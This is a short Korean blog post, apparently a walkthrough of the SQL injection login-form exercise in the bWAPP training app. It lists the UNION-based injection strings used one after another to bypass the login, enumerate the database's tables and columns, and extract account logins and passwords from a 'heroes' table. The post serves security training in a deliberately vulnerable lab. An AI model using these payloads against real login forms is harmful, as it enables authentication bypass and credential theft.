bWAPP 18.SQL Injection (Login Form/Hero)

Web hacking|2022. 2. 11. 23:53

           `                                SQL Injection (Login Form/Hero)

 

 

[ 공격 주입 ]

입력 값 : ' or 1=1#

 

 

 

 

 

[ 컬럼 수 확인 ]

입력 값 : ' union select all 1,2,3,4#

 

 

 

 

 

[ 버전 정보 확인 ]

 

입력 값 : ' union select all 1,@@version,3, database()#

 

 

 

 

 

 

 

[ 테이블 이름 출력 ]

 

 

 

 

 

입력 값 : ' union select all 1, table_name,3,4 from information_schema.tables where table_schema='Bwapp' #

 

 

 

 

 

 

입력 값 : ' union select all 1, table_name,3,4 from information_schema.tables where table_schema='Bwapp' and table_name!='blog' #

 

 

 

 

 

 

 

입력 값 : ' union select all 1, table_name,3,4 from information_schema.tables where table_schema='Bwapp' and table_name!='blog' and table_name!='heroes' #

 

 

 

 

 

 

 

입력 값 : ' union select all 1, table_name,3,4 from information_schema.tables where table_schema='Bwapp' and table_name!='blog' and table_name!='heroes' and table_name!='movies' # [ heros 테이블의 컬럼 확인 ]

 

 

 

 

 

 

 

 

입력 값 : ' union select ALL 1,column_name,3,4 from information_schema.columns where table_name='heroes'#

 

 

 

 

 

 

 

 

 

 

[ id 컬럼 이후 컬럼 확인 ]

 

 

 

 

 

입력 값 : ' union select ALL 1,column_name,3,4 from information_schema.columns where table_name='heroes' and column_name!='id'#

 

 

 

 

입력 값 : ' union select all 1, id, 3, login from heroes #

 

 

 

 

 

 

 

[ Neo 계정 패스워드 출력 ]

 

 

입력 값 : ' union select 1, login, 3, password from heroes #

 

 

 

 

 

 

 

 

[ Neo 다음 계정 확인 ]

 

입력 값 : ' union select all 1, id, 3, login from heroes where login!='neo' #

 

 

 

 

 

 

 

[ Alice 계정 패스워드 출력 ]

 

입력 값 : ' union select 1, login, 3, password from heroes where login!='neo' #

 

 

 

 

Alice 계정의 패스워드 까지 확인 하였다.

 

           `    

댓글()